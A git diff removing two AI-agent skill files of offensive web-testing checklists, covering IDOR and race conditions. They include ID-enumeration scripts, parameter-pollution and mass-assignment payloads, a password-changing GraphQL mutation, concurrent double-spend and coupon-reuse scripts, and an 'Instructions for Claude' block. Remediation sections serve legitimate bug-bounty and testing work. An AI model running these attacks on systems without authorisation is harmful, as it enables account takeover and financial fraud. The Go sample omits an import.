- style id3.1 fill:#dfd,stroke:#393
- id3.2[Access Control Bypass]
- style id3.2 fill:#dfd,stroke:#393
- id3.3[Reference Leakage Exploitation]
- style id3.3 fill:#dfd,stroke:#393
-```
-
-#### Blind IDOR Detection
-
-1. **Comparative Response Analysis**:
- - Compare responses between valid and invalid resource IDs
- - Look for subtle differences in response times, sizes, or error messages
- - Use automated tools to detect variations across multiple requests
-
-2. **Out-of-Band Detection**:
- - Inject tracking URLs in modifiable parameters
- - Monitor for callbacks when the resource is accessed
- - Use server callbacks to detect successful access
-
-3. **Side-Channel Analysis**:
- - Analyze network traffic for additional clues
- - Look for timing differences or response size variations
-
-#### Mass IDOR Testing
-
-1. **Automated Identifier Enumeration**:
-
-```python
-import requests
-
-session = requests.Session()
-# Login code here...
-
-# Test range of IDs
-for id in range(1, 1000):
- response = session.get(f"https://example.com/api/documents/{id}")
- if response.status_code == 200:
- print(f"Found accessible document: {id}")
- # Log response for later analysis
-```
-
-2. **Parallel Testing with Burp**:
- - Use number payloads for sequential IDs (test large ranges, e.g., 100-1000+).
- - Use custom word lists for GUIDs/UUIDs from observed patterns
- - Set up Grep Match rules to identify successful access
-
-3. **Pattern Recognition**:
- - Analyze response patterns for common IDOR signatures
- - Look for repeated or predictable access patterns
-
-## Bypass Techniques
-
-### ID Obfuscation Bypass
-
-- **Hashed IDs**: Collect legitimate hashed IDs and map to users
-- **Encoded IDs**: Decode base64/hex encodings and modify values
- ```
- /api/document/MjQ2 (base64 of "246") → /api/document/MjQ3 (base64 of "247")
- ```
-- **Encrypted IDs**: Identify encryption patterns and test related IDs
-
-### Access Control Bypass
-
-- **HTTP Method Switching**: Change GET to POST or PUT
- ```
- GET /api/users/123 → POST /api/users/123
- ```
-- **Content-Type Manipulation**: Modify content-type headers
- ```
- Content-Type: application/json → Content-Type: application/xml
- ```
-- **Parameter Pollution (HTTP)**: Add duplicate parameters with different values. The server might prioritize the first or last occurrence differently.
- ```
- GET /api/document?id=attacker_id&id=victim_id
- GET /api/users?user_id=attacker_id[]&user_id=victim_id[]
- ```
-- **Parameter Pollution (JSON)**: Provide duplicate keys in a JSON object. Behavior depends on the parser.
- ```json
- { "user_id": "attacker_id", "user_id": "victim_id" }
- ```
-- **Mixed-Case / Path-Normalization Bypass**: Try different capitalizations, mixed-case encodings, dot-segments (../) and URL-encoded slashes (%2F) to bypass path or router checks.
- ```
- GET /admin/profile → GET /ADMIN/profile
- ```
-- **Path Traversal Bypass**: Use path traversal sequences within parameters referencing objects.
- ```
- POST /users/delete/MY_ID/../VICTIM_ID
- ```
-- **Outdated API Version Testing**: If multiple API versions exist (e.g., /v1/, /v2/), test the IDOR on older, potentially less secure versions.
- ```
- GET /v3/users/123 → 403 Forbidden
- GET /v1/users/123 → 200 OK
- ```
-
-### Request Smuggling for IDOR
-
-- **HTTP Request Smuggling**: Use CL.TE or TE.CL smuggling to inject victim IDs in backend requests
-
- ```
- POST / HTTP/1.1
- Content-Length: 4
- Transfer-Encoding: chunked
-
- 1
- Z
- Q
- ```
-
- Front-end strips `user_id` parameter but back-end processes it from smuggled request chunk
-
-### Mass Assignment IDOR
-
-- **Parameter Injection**: Add fields that weren't in original schema
- ```json
- { "name": "John", "role": "admin", "user_id": "victim_id", "is_admin": true }
- ```
-- **Case Variation Testing**: Test both camelCase and snake_case variants
- ```
- userId vs user_id vs UserId vs USER_ID
- ```
-- **Nested Object Injection**: Add authorization fields in nested objects
- ```json
- {
- "profile": {
- "name": "John",
- "owner_id": "attacker_id",
- "target_id": "victim_id"
- }
- }
- ```
-
-### Reference Leakage Exploitation
-
-- **Harvesting IDs from HTML/JS Sources**:
- - Extract IDs from page source, JavaScript files
- - Analyze AJAX requests for leaked IDs
-
-- **API Response Analysis**:
- - Check list responses for IDs of other users' resources
- - Look for IDs in error messages or debugging information
- - Check for endpoints that might translate identifiers (e.g., email to GUID).
- - Harvest IDs via analytics beacons, logs endpoints, GraphQL error suggestions, or search/autocomplete APIs.
-
-## Vulnerabilities
-
-### Common IDOR Vulnerability Patterns
-
-```mermaid
-graph LR
- A[IDOR Patterns] --> B[API Endpoint Vulnerabilities]
- A --> C[Function-Specific Vulnerabilities]
-
- B --> D[RESTful API IDORs]
- B --> E[GraphQL IDORs]
- B --> F[JSON/XML Parameter IDORs]
-
- C --> G[Account Management]
- C --> H[Financial Operations]
- C --> I[Content Management]
- C --> J[Administrative Functions]
-```
-
-#### API Endpoint Vulnerabilities
-
-- **RESTful API IDORs**: Direct manipulation of resource identifiers in REST APIs
-
- ```
- GET /api/users/123/profile → GET /api/users/456/profile
- ```
-
-- **GraphQL IDORs**: Changing object identifiers in GraphQL queries
-
- ```graphql
- query {
- user(id: "attacker_id") {
- changePassword(newPassword: "pwned")
- }
- }
- ```
-
-- **JSON/XML Parameter IDORs**: Modifying nested parameters
- ```json
- {"user": {"id": 123, "action": "view"}} → {"user": {"id": 456, "action": "view"}}
- ```
-
-#### Function-Specific Vulnerabilities
-
-- **Account Management IDORs**:
- - Accessing another user's profile, settings, or personal information
- - Modifying another user's account details
-
-- **Financial IDORs**:
- - Accessing another user's payment methods or financial records
- - Modifying order details, prices, or payment information
-
-- **Content Management IDORs**:
- - Accessing private documents, media, or posts
- - Modifying content ownership or permissions
-
-- **Administrative Function IDORs**:
- - Accessing administrative interfaces or functions
- - Executing privileged actions through API endpoints
-
-- **OAuth/OIDC IDORs**:
- - Manipulating `state` or `code` parameters in OAuth flows
- - Accessing token endpoints with other users' authorization codes
- - PKCE code_verifier bypass via IDOR
-
-- **2FA/MFA IDORs**:
- - Accessing backup code generation endpoints for other users
- - Retrieving TOTP secrets via `/api/users/{user_id}/totp-secret`
- - Disabling 2FA for other accounts
-
-- **Notification/Webhook IDORs**:
- - Modifying notification preferences: `/api/notifications/settings/{user_id}`
- - Accessing webhook configuration endpoints for other tenants
- - Reading notification history of other users
-
-- **Real-time Feature IDORs**:
- - Socket.io/WebSocket room IDs as direct object references
- - Live chat room access via predictable room identifiers
- - Real-time dashboard data streams with user/org IDs
-
-### GraphQL
-
-- Enforce authorization per-field, not just at the root resolver; test aliasing, fragments, batched and persisted queries.
-- Restrict or gate introspection in production; sanitize error messages. Fuzz `__typename` switches to reach sibling object types.
-- Swap out `id` arguments and nested object IDs in mutations and batch queries; verify per‑object ownership checks.
-
-### gRPC / Protobuf
-
-- Microservices increasingly use gRPC; IDs live in binary messages. Test with grpcurl and fuzzers; validate authorization on every method.
-- If server reflection is enabled, fetch `.proto` definitions; disable reflection in production when possible.
-
-### Cloud-Native Object URLs
-
-- Presigned URLs (S3/GCS/Azure) are direct object references; require short expiries, method scoping, optional IP constraints, and backend re‑validation on GET.
-- Attempt to tweak the `Key=`/object path, query params, or credentials (e.g., `X-Amz-Security-Token`) to replay others’ files; test cross‑tenant reuse.
-
-### Observability / OpenTelemetry Leaks
-
-- Trace systems like Zipkin or Jaeger often expose span attributes containing user IDs.
-- Query endpoints such as `/api/v2/traces` or `/v1/traces`, harvest IDs, and replay them against protected APIs.
-
-## Authorization-as-Code Pitfalls (OPA, Cedar)
-
-- Organizations delegate authorization to policy engines (OPA, Cedar). Fuzz policy inputs directly (e.g., `POST /v1/data/authz/allow`).
-- Verify explicit owner/tenant checks in Rego/Cedar; add unit tests for BOLA cases; deny‑by‑default at the first hop.
-
-## Modern Detection & CI/CD Tooling
-
-- Use Burp (Repeater/Intruder/Turbo Intruder) and auth‑diff extensions (e.g., Autorize/AuthMatrix) for parallel testing across roles.
-- Use gRPC tooling (grpcurl, gRPC Inspector) and disable reflection in production where possible.
-- CI tools that generate BOLA/IDOR cases (e.g., Pynt, StackHawk, RESTler) and block merges on failures.
-
-## Methodologies
-
-### Tools
-
-#### Automated IDOR Detection Tools
-
-- **Burp Suite Extensions**:
- - Authorize: Comparing responses between users
- - Authz: Automated access control testing
- - Auto Repeater: Replaying requests with modifications
- - IDOR Scanner: Dedicated IDOR detection extension
- - Pynt: CLI / CI scanner that auto-generates BOLA/IDOR test cases.
- - StackHawk: CI-native scanner; its BOLA module blocks merges on failing IDOR checks.
-
-- **Specialized Tools**:
- - Arjun / Parameth: Useful for discovering hidden parameters often relevant in IDOR testing.
- - AuthMatrix: Testing authorization in web applications
- - Astra: Automated Security Testing for REST APIs
- - IIS-Shortname-Scanner: Testing for path disclosure
-
-- **Framework-Specific Tools**:
- - RESTler: Stateful REST API fuzzing
- - GraphQLmap: Testing GraphQL endpoints for IDORs
- - Kiterunner: API endpoint discovery, finds hidden IDOR-prone endpoints
-
-#### Manual Testing Tools
-
-- **Proxy Tools**: Burp Suite, OWASP ZAP
-- **API Testing**: Postman, Insomnia
-- **Custom Scripts**: Python with requests library
-
-### Testing Methodologies
-
-#### Comprehensive IDOR Testing Process
-
-1. **Reconnaissance Phase**:
- - Map all endpoints and functionality
- - Identify authentication mechanisms
- - Document all object references and formats
-
-2. **Identification Phase**:
- - Set up multiple accounts at different privilege levels
- - Capture all interactions with the application
- - Catalog all potential IDOR test points
-
-3. **Testing Phase**:
- - Perform parameter tampering across all identified points
- - Test for both read and write IDOR
- - Try multiple bypass techniques for each endpoint
- - Test indirect references (e.g., file uploads, exports)
-
-4. **Exploitation Phase**:
- - Develop reliable proof-of-concept exploits
- - Assess the impact of discovered vulnerabilities
- - Determine the scope and severity
-
-5. **Reporting Phase**:
- - Document clear reproduction steps
- - Demonstrate actual/potential business impact
- - Provide remediation recommendations
-
-### Specific Test Scenarios
-
-#### Account Management Testing
-
-1. Log in as User A and access profile settings
-2. Capture requests for viewing/editing profile
-3. Log in as User B
-4. Replay User A's requests with User B's session
-5. Modify identifiers to access/edit User A's profile
-
-#### Document Access Testing
-
-1. Upload documents with User A
-2. Capture document access/download requests
-3. Log in as User B
-4. Modify document identifiers to access User A's documents
-5. Test both direct access and list/search interfaces
-
-#### API Testing
-
-1. Map all API endpoints and their parameters
-2. Identify endpoints that accept object identifiers
-3. Test horizontal access (between equal privilege users)
-4. Test vertical access (between different privilege levels)
-5. Test indirect references (nested objects, relationships)
-6. Check corresponding mobile API endpoints for differences or leaks.
-7. Look for parallel administrative endpoints (e.g., `/api/users/myinfo` vs `/api/admins/myinfo`).
-
-### High-Impact IDOR Targets
-
-When hunting for IDORs, prioritize these high-impact endpoints:
-
-1. **User Profile Settings**:
- - /settings/profile
- - /user/profile
- - /user/settings
- - /account/settings
- - /username
- - /profile
-
-2. **Payment and Financial Endpoints**:
- - Test create/update/delete operations on objects that might seem read-only (e.g., changing prices via PUT requests).
- - Any endpoint handling payment information
- - Order processing systems
- - Financial record access points
-
-3. **Administrative Functions**:
- - User management interfaces
- - System configuration endpoints
- - Access control settings
-
-4. **Authentication & MFA Endpoints**:
- - /api/users/{id}/backup-codes
- - /api/users/{id}/totp
- - /api/users/{id}/disable-2fa
- - /oauth/authorize (state parameter)
- - /api/users/{id}/sessions
-
-5. **Notification & Communication**:
- - /api/notifications/{id}
- - /api/webhooks/{id}/config
- - /api/users/{id}/email-preferences
- - /api/alerts/{id}/settings
-
-6. **Real-Time & Collaboration**:
- - /socket.io/?room={id}
- - /api/rooms/{id}/join
- - /api/live-sessions/{id}
- - /api/collaborative-docs/{id}
-
-## Chaining and Escalation
-
-IDOR vulnerabilities can often be chained with other issues or used to escalate privileges:
-
-- **IDOR + Information Disclosure**: If an IDOR requires an unpredictable identifier (like a UUID), find another vulnerability (e.g., an API endpoint listing users) that leaks these identifiers. Use the leaked IDs to exploit the IDOR.
-- **IDOR + Stored XSS**: If an IDOR allows modification of data viewable by other users (e.g., changing a profile name, posting a comment), inject an XSS payload. This escalates the IDOR to Stored XSS affecting other users.
-- **IDOR for Feature Abuse**: Use IDOR to abuse application features, such as adding items to another user's cart, triggering actions on their behalf, or exhausting resources tied to their account.
-
-## Remediation Recommendations
-
-- **Implement Proper Authorization**: Validate access rights for every resource request
-- **Use Indirect References**: Replace direct references with temporary per-session tokens
-- **Server-Side Validation**: Validate that the requested object belongs to the current user
-- **Contextual Access Controls**: Consider context beyond just resource ownership
-- **Authorization Frameworks**: Use dedicated authorization frameworks like ABAC, RBAC
-- **Least Privilege Principle**: Restrict access to the minimum necessary
-- **Rate Limiting**: Implement rate limiting to prevent brute-force IDOR discovery
-- **Activity Logging**: Log all access attempts for sensitive resources
-- **Session Binding**: Explicitly bind resources to authenticated sessions
-- **Input Validation**: Validate all input parameters for type, format, and range
-- **Deny-by-Default**: Authorize on object owner and tenant at the very first layer; fail closed.
-- **Unit/Contract Tests**: Add authorization unit tests per endpoint/field and CI scanners that auto-generate BOLA cases.
-- **Cache Partitioning**: Partition CDN caches by auth headers; avoid cacheable 200/304 for private resources.
-
diff --git a/.claude/skills/claude-red/web/offensive-race-condition/SKILL.md b/.claude/skills/claude-red/web/offensive-race-condition/SKILL.md
deleted file mode 100644
index 2fab610..0000000
--- a/.claude/skills/claude-red/web/offensive-race-condition/SKILL.md
+++ /dev/null
@@ -1,879 +0,0 @@
-# SKILL: Race Conditions
-
-## Metadata
-- **Skill Name**: race-condition
-- **Folder**: offensive-race-condition
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/race-condition.md
-
-## Description
-Race condition (TOCTOU) testing checklist: identifying timing windows, Burp Suite Turbo Intruder, Last-Byte sync technique, rate limit bypass, double-spend attacks, and concurrent request exploitation. Use for web app race condition testing or bug bounty time-of-check-to-time-of-use bugs.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`race condition, TOCTOU, timing attack, Turbo Intruder, last-byte sync, rate limit bypass, double spend, concurrent request, race window, time of check, time of use`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
----
-
-## Full Methodology
-
-# Race Conditions
-
-## Shortcut
-
-- Spot the features prone to race conditions in the target application and copy the corresponding requests.
-- Send multiple of these critical requests to the server simultaneously. You should craft requests that should be allowed once but not allowed multiple times.
-- Check the results to see if your attack has succeeded. And try to execute the attack multiple times to maximize the chance of success.
-- Consider the impact of the race condition you just found.
-
-## Mechanisms
-
-Race conditions occur when the behavior of a system depends on the relative timing or sequence of events that can happen in different orders. In web application security, race conditions happen when multiple concurrent processes or threads access and manipulate the same resource simultaneously without proper synchronization.
-
-```mermaid
-sequenceDiagram
- participant Thread1 as Thread 1
- participant Resource
- participant Thread2 as Thread 2
-
- Thread1->>Resource: Read value (100)
- Thread2->>Resource: Read value (100)
- Thread1->>Thread1: Calculate new value (100-10=90)
- Thread2->>Thread2: Calculate new value (100-10=90)
- Thread1->>Resource: Write new value (90)
- Thread2->>Resource: Write new value (90)
- Note over Resource: Expected final value: 80<br/>Actual final value: 90
-```
-
-A race condition becomes a security vulnerability when it affects security controls or business logic. The critical types include:
-
-- Time-of-Check to Time-of-Use (TOCTOU): When a check is performed, but circumstances change before the result of the check is used
-- Read-Modify-Write: When multiple processes read, modify, and write back a shared resource without coordination
-- Thread Safety Issues: When multithreaded applications improperly handle shared resources
-- Resource Allocation Races: Competition for limited resources like database connections or memory
-
-```mermaid
-graph TD
- subgraph "Common Race Condition Types"
- A[Race Conditions] --> B[TOCTOU]
- A --> C[Read-Modify-Write]
- A --> D[Thread Safety Issues]
- A --> E[Resource Allocation]
-
- B --> B1["Check balance, then debit"]
- C --> C1["Update counter or balance"]
- D --> D1["Shared cache or session data"]
- E --> E1["Limited coupon or inventory"]
- end
-```
-
-Common vulnerable scenarios include:
-
-- Account Balance Manipulation: Making multiple withdrawals/transfers simultaneously
-- Coupon/Promotion Code Reuse: Using a single-use code multiple times
-- File Upload Processing: Uploading and accessing temporary files before validation completes
-- Registration Processes: Creating multiple accounts with the same unique identifier
-- Token Verification: Using authentication tokens multiple times before they're invalidated
-
-## Hunt
-
-### Identifying Race Condition Vulnerabilities
-
-#### Target Functionality Selection
-
-Focus on features handling state changes, limited resources, or critical operations:
-
-- Financial Transactions: Fund transfers, withdrawals, purchases
-- Inventory Systems: Stock allocation, reservation systems
-- Coupon/Points Systems: Redeeming coupons, points, or rewards
-- Voting/Rating Systems: Likes, upvotes, downvotes, polls
-- Membership/Subscription Actions: Inviting users, joining/leaving groups, following/unfollowing users
-- Registration Systems: Account creation with unique attributes
-- Resource Management: Uploading, processing, or accessing resources
-- Rate-Limited Actions: Password resets, login attempts, API endpoints with usage limits
-
-#### Testing Prerequisites
-
-1. Tools for sending parallel requests:
- - Burp Suite Turbo Intruder or Repeater (multi-threaded)
- - Custom scripts with threading capabilities
- - Race condition testing frameworks (e.g., Racepwn)
-
-2. Request capturing and analysis capabilities:
- - HTTP proxy for intercepting and modifying traffic
- - Response analysis tools for detecting race-related anomalies
-
-3. Network Proximity: Consider the physical or network location of your testing infrastructure relative to the target server. Minimizing latency (e.g., using a VPS in the same region/provider as the target) can significantly increase the chances of winning a race condition.
-
-#### Testing Methodology
-
-```mermaid
-flowchart TD
- A[Race Condition Testing] --> B[Baseline Analysis]
- A --> C[Race Condition Detection]
- A --> D[Timing Manipulation]
- A --> E[Proof of Concept]
-
- B --> B1[Identify state-changing operations]
- B --> B2[Document normal transaction flow]
-
- C --> C1[Send identical requests simultaneously]
- C --> C2[Observe state changes]
-
- D --> D1[Identify critical timing windows]
- D --> D2[Vary delays between requests]
-
- E --> E1[Create reproducible exploit]
- E --> E2[Document impact scenarios]
-```
-
-1. Baseline Behavior Analysis:
- - Identify state-changing operations
- - Understand normal request/response patterns
- - Document application's standard transaction flow
-
-2. Race Condition Detection:
- - Send identical requests simultaneously (10-100 threads)
- - Observe effects on application state
- - Look for anomalies in responses or state changes
-
-3. Timing Manipulation:
- - Identify critical timing windows
- - Target synchronization points
- - Test with varying delays between requests
-
-### Advanced Testing Techniques
-
-#### API-Based Race Condition Testing
-
-1. Identify stateful API endpoints
-2. Create automated scripts for parallel API requests:
-
-```python
-import requests
-import threading
-
-def make_request():
- requests.post('https://target.com/api/redeem',
- json={'coupon_code': 'ONCE123'},
- headers={'Authorization': 'Bearer token'})
-
-threads = []
-for _ in range(20):
- t = threading.Thread(target=make_request)
- threads.append(t)
- t.start()
-
-for t in threads:
- t.join()
-```
-
-#### Transaction-Based Race Condition Testing
-
-1. Identify multi-step transactions
-2. Find the critical state change requests
-3. Execute the final step in parallel before state updates propagate:
- ```
- Step 1: Start purchase (single request)
- Step 2: Apply coupon (single request)
- Step 3: Send 20 simultaneous "confirm order" requests
- ```
-
-#### Thread Synchronization Testing
-
-Create coordinated attacks that target specific timing windows:
-
-```python
-import requests
-import threading
-import time
-
-start_gate = threading.Event()
-
-def synchronized_request():
- start_gate.wait() # All threads wait here until flag is set
- requests.post('https://target.com/api/withdraw',
- json={'amount': '100'},
- headers={'Authorization': 'Bearer token'})
-
-threads = []
-for _ in range(50):
- t = threading.Thread(target=synchronized_request)
- t.daemon = True
- threads.append(t)
- t.start()
-
-# Release all threads simultaneously
-time.sleep(2) # Ensure all threads are waiting
-start_gate.set()
-```
-
-#### Network-Level Timing Manipulation
-
-Beyond application-level threading, manipulating network-level timing can be effective:
-
-- **HTTP/2 / HTTP/3 Single-Packet & Last-Byte-Sync Techniques**: Classic HTTP/1.1 pipelining is disabled on most servers. Modern testers rely on HTTP/2 multiplexing or HTTP/3 streams to achieve micro-second concurrency. Burp Repeater (2023.9+) and Turbo Intruder expose this as _Send group in parallel (single-packet attack)_.
-- **Last-Byte-Sync / Request Splitting**: Open multiple connections, send almost-complete requests, then flush the final bytes simultaneously. In Burp, send each tab using the _single packet attack_ gate; or in Turbo Intruder:
-
-```python
-def queueRequests(target, wordlists):
- engine = RequestEngine(
- endpoint=target.endpoint,
- concurrentConnections=1,
- engine=Engine.BURP2)
-
- for _ in range(20):
- engine.queue(target.req, gate='race')
-
- engine.openGate('race')
-```
-
-#### Rate-Limiter and CAPTCHA Races
-
-- Send concurrent login or OTP requests across multiple sessions/IPs to probe shared counters.
-- Look for global vs per-user vs per-IP buckets; test burst vs sustained patterns.
-
-## Vulnerabilities
-
-### Common Race Condition Vulnerability Patterns
-
-```mermaid
-graph LR
- subgraph "Race Condition Vulnerability Impacts"
- A[Race Conditions] --> B[Financial Systems]
- A --> C[Account & Authentication]
- A --> D[Resource Management]
- A --> E[Application-Specific]
- A --> F[Rate Limiting & Anti-Automation]
-
- B --> B1[Double Withdrawal]
- B --> B2[Transaction Rollback Abuse]
-
- C --> C1[Multiple Account Creation]
- C --> C2[Token Reuse]
- C --> C3[MFA Bypass]
-
- D --> D1[Upload-Download Race]
- D --> D2[Resource Over-allocation]
-
- E --> E1[Shopping Cart Race]
- E --> E2[Auction Sniping]
- F --> F1[OTP/Reset Code Reuse]
- F --> F2[CAPTCHA Reuse]
- end
-```
-
-#### Financial Systems Vulnerabilities
-
-- Double Withdrawal: Processing the same withdrawal request twice
-- Transaction Rollback Abuse: Initiating a transaction rollback while completing the transaction
-- Balance Check Bypass: Racing between balance verification and transaction processing
-
-#### Account and Authentication Vulnerabilities
-
-- Multiple Account Creation: Creating accounts with the same unique identifier
-- Token Reuse: Using one-time tokens multiple times
-- Session Fixation Race: Racing between session creation and authentication
-- MFA Bypass: Racing between MFA checks and authenticated resource access
-
-#### Resource Management Vulnerabilities
-
-- Upload-Download Race: Accessing uploaded files before security checks complete
-- Resource Allocation Race: Over-allocating limited resources
-- Temporary File Races: Operating on temporary files during processing
-
-#### Specific Application Patterns
-
-- Shopping Cart Race Conditions: Adding items at specific discount windows
-- Auction Sniping Race: Timing bids to bypass minimum increments
-- Reservation System Races: Double-booking limited inventory
-
-### Time-Sensitive Vulnerabilities
-
-1. Send parallel password reset requests for the same account
-2. Check if reset tokens are identical
-3. Test by changing victim's username in one request
-4. Analyze response times for potential race conditions
-
-### Session Handling Bypass
-
-Some application frameworks (like PHP with default session handling) lock session files when `session_start()` is called, preventing concurrent requests from the _same_ session from executing simultaneously. If the application allows a user to have multiple active sessions, this can be bypassed:
-
-1. Authenticate multiple times to obtain several valid session identifiers (e.g., `PHPSESSID`).
-2. Assign a unique session ID to each concurrent request in your race condition attack. This makes the server treat each request as originating from a different session, circumventing the session lock.
-
-### Database Isolation Level Testing
-
-Different database isolation levels handle concurrency differently. Test each level to identify race vulnerabilities:
-
-**PostgreSQL Isolation Levels:**
-
-```sql
--- READ UNCOMMITTED (treats as READ COMMITTED in PostgreSQL)
-BEGIN TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
-
--- READ COMMITTED (default) - prone to races
-BEGIN TRANSACTION ISOLATION LEVEL READ COMMITTED;
-SELECT balance FROM accounts WHERE id = 123;
--- Race window here
-UPDATE accounts SET balance = balance - 100 WHERE id = 123;
-COMMIT;
-
--- REPEATABLE READ - prevents some races
-BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
-
--- SERIALIZABLE - strongest protection
-BEGIN TRANSACTION ISOLATION LEVEL SERIALIZABLE;
-```
-
-**Testing Strategy:**
-
-1. Identify critical transactions in the application
-2. Send concurrent requests during the transaction window
-3. Check if inconsistent state occurs
-4. Test with explicit table locking:
- ```sql
- SELECT * FROM table FOR UPDATE; -- Row-level lock
- LOCK TABLE table IN EXCLUSIVE MODE; -- Table-level lock
- ```
-
-**MySQL/MariaDB:**
-
-```sql
--- Test for missing row locks
-START TRANSACTION;
-SELECT balance FROM accounts WHERE id = 123;
--- Send parallel transactions here
-UPDATE accounts SET balance = balance - 100 WHERE id = 123;
-COMMIT;
-
--- Test with explicit locking
-SELECT * FROM accounts WHERE id = 123 FOR UPDATE;
-```
-
-**Testing for Advisory Locks:**
-
-```sql
--- PostgreSQL advisory locks
-SELECT pg_try_advisory_lock(12345);
-
--- Test if application uses them
--- Send parallel requests and monitor pg_locks table
-SELECT * FROM pg_locks WHERE locktype = 'advisory';
-```
-
-### WebSocket Race Conditions
-
-WebSocket connections maintain persistent state and can be vulnerable to race conditions:
-
-**Message Processing Races:**
-
-```javascript
-// Send concurrent WebSocket messages
-const ws = new WebSocket("wss://target.com/socket");
-
-ws.onopen = () => {
- // Send multiple messages rapidly
- for (let i = 0; i < 50; i++) {
- ws.send(
- JSON.stringify({
- action: "transfer",
- amount: 100,
- to: "attacker",
- }),
- );
- }
-};
-```
-
-**Connection Upgrade Races:**
-
-```bash
-# Multiple simultaneous WebSocket handshakes
-for i in {1..20}; do
- curl -i -N \
- -H "Connection: Upgrade" \
- -H "Upgrade: websocket" \
- -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
- -H "Sec-WebSocket-Version: 13" \
- https://target.com/socket &
-done
-wait
-```
-
-**Testing Scenarios:**
-
-- Concurrent authentication messages
-- Simultaneous room/channel joins
-- Parallel state-changing commands
-- Race between disconnect and final message processing
-
-### Cloud & Serverless Race Conditions
-
-#### AWS Lambda Specific
-
-**Concurrent Execution Testing:**
-
-```python
-import boto3
-import concurrent.futures
-
-lambda_client = boto3.client('lambda')
-
-def invoke_lambda():
- return lambda_client.invoke(
- FunctionName='vulnerable-function',
- InvocationType='RequestResponse',
- Payload='{"action": "redeem_coupon", "code": "SAVE50"}'
- )
-
-# Test concurrent invocations
-with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
- futures = [executor.submit(invoke_lambda) for _ in range(50)]
- results = [f.result() for f in futures]
-```
-
-**Reserved Concurrency Bypass:**
-
-- Check if Lambda has reserved concurrency limits
-- Test if multiple accounts/regions bypass limits
-- Monitor CloudWatch for ConcurrentExecutions metric
-
-**DynamoDB Conditional Write Testing:**
-
-```python
-import boto3
-from boto3.dynamodb.conditions import Attr
-
-dynamodb = boto3.resource('dynamodb')
-table = dynamodb.Table('coupons')
-
-# Test if conditional writes are used
-def redeem_coupon():
- table.update_item(
- Key={'code': 'SAVE50'},
- UpdateExpression='SET used = :val',
- ConditionExpression=Attr('used').eq(False), # Should prevent races
- ExpressionAttributeValues={':val': True}
- )
-```
-
-#### GCP Cloud Functions
-
-**Concurrent Trigger Testing:**
-
-```bash
-# Test HTTP-triggered Cloud Functions
-for i in {1..50}; do
- curl -X POST https://region-project.cloudfunctions.net/function \
- -H "Content-Type: application/json" \
- -d '{"action": "claim_reward"}' &
-done
-wait
-```
-
-#### Azure Functions
-
-**Singleton Testing:**
-
-```csharp
-// Check if Azure Functions use Singleton attribute
-[Singleton] // Should prevent concurrent execution
-public static void Run([QueueTrigger("queue")] string msg) { }
-```
-
-### Protocol-specific attack primitives
-
-- **Single-Packet Attack (HTTP/2)** and **Last-Byte-Sync (HTTP/1)** research (PortSwigger Black Hat 2023) enables ≤ 4 µs request skew; both are now directly supported in Burp Repeater and Turbo Intruder.
-
-### GraphQL & gRPC considerations
-
-- GraphQL batch mutations can bypass conventional CSRF and rate-limit controls. Replay a single POST body containing 20 identical mutations to test for duplicated state changes.
-- For gRPC, open multiple concurrent `SendMsg` frames before the backend commits state.
-
-### Cloud & serverless concurrency
-
-- Serverless functions (AWS Lambda, GCP Cloud Run, Azure Functions) may process the same event in parallel. Mitigate with idempotency keys or reserved-concurrency settings.
-
-### Observability & detection
-
-- Enable distributed tracing (OpenTelemetry, Jaeger) and emit duplicate-call metrics within the same trace span to surface race-condition symptoms.
-
-### Modern defensive patterns
-
-- Use atomic **UPSERT / ON CONFLICT** statements for write-once semantics.
-- Implement **Idempotency-Key** headers (IETF draft 2024) with short-TTL storage.
-- Employ Redis/etcd Redlock or PostgreSQL advisory locks for cross-service resource locking.
-
-### Additional resources
-
-- PortSwigger white-paper _Smashing the State Machine_ + labs (Black Hat 2023).
-- OWASP ASVS v5 (2024) section 7.6 "Concurrency Controls".
-
-## Impact Assessment
-
-#### Critical Impact Scenarios
-
-- **Financial Loss**: Double spending, incorrect account balances
-- **Privilege Escalation**: Bypassing authentication or authorization
-- **Data Integrity Violations**: Corrupting database state
-- **Denial of Service**: Exhausting limited resources
-- **Information Disclosure**: Accessing partially processed data
-
-#### Example Exploits
-
-1. **Banking Application Double-Withdrawal**:
- - Initial balance: $1000
- - Send 10 simultaneous withdrawal requests for $100 each
- - Result: $1000 debited but balance only decreases once
-2. **E-commerce Coupon Reuse**:
- - Single-use coupon provides $50 discount
- - Send 5 parallel requests using the same coupon
- - Result: Multiple $50 discounts applied
-
-3. **Account Registration Email Verification Bypass**:
- - Send multiple verification requests with different tokens
- - Race between verification and account provision
- - Result: Account verified without valid email
-
-## Methodologies
-
-### Tools
-
-#### Race Condition Testing Tools
-
-- **Burp Suite Extensions**:
- - Turbo Intruder: High-volume parallel request sender.
- - Authorize: Manipulation of tokens/session data
- - Collaborator: For detecting out-of-band effects
-
-- **Specialized Tools**:
- - Racepwn: Purpose-built race condition testing framework
- - Race-the-Web: Web application race condition finder
- - Raceocat: CLI scanner that replays raw-socket requests for µs-precision
- - URL-Race-Condition-Scanner: Generates and races endpoints from Burp history
- - OWASP ZAP with parallel request scripts
-
-#### Custom Scripting
-
-- **Python with Threading/Asyncio**:
-
-```python
-import asyncio
-import aiohttp
-
-async def make_request(session):
- async with session.post('https://target.com/api/action',
- data={'param': 'value'}) as response:
- return await response.text()
-
-async def main():
- async with aiohttp.ClientSession() as session:
- tasks = [make_request(session) for _ in range(50)]
- responses = await asyncio.gather(*tasks)
- # Analyze responses
-
-asyncio.run(main())
-```
-
-- **Multi-threaded Testing with Go**:
-
-```go
-package main
-
-import (
- "net/http"
- "sync"
-)
-
-func main() {
- var wg sync.WaitGroup
- for i := 0; i < 50; i++ {
- wg.Add(1)
- go func() {
- http.Post("https://target.com/api/action",
- "application/json",
- strings.NewReader(`{"param":"value"}`))
- wg.Done()
- }()
- }
- wg.Wait()
-}
-```
-
-### Testing Strategies
-
-#### Comprehensive Race Condition Test Methodology
-
-```mermaid
-sequenceDiagram
- participant Tester
- participant Application
- participant Database
-
- Note over Tester: Preparation Phase
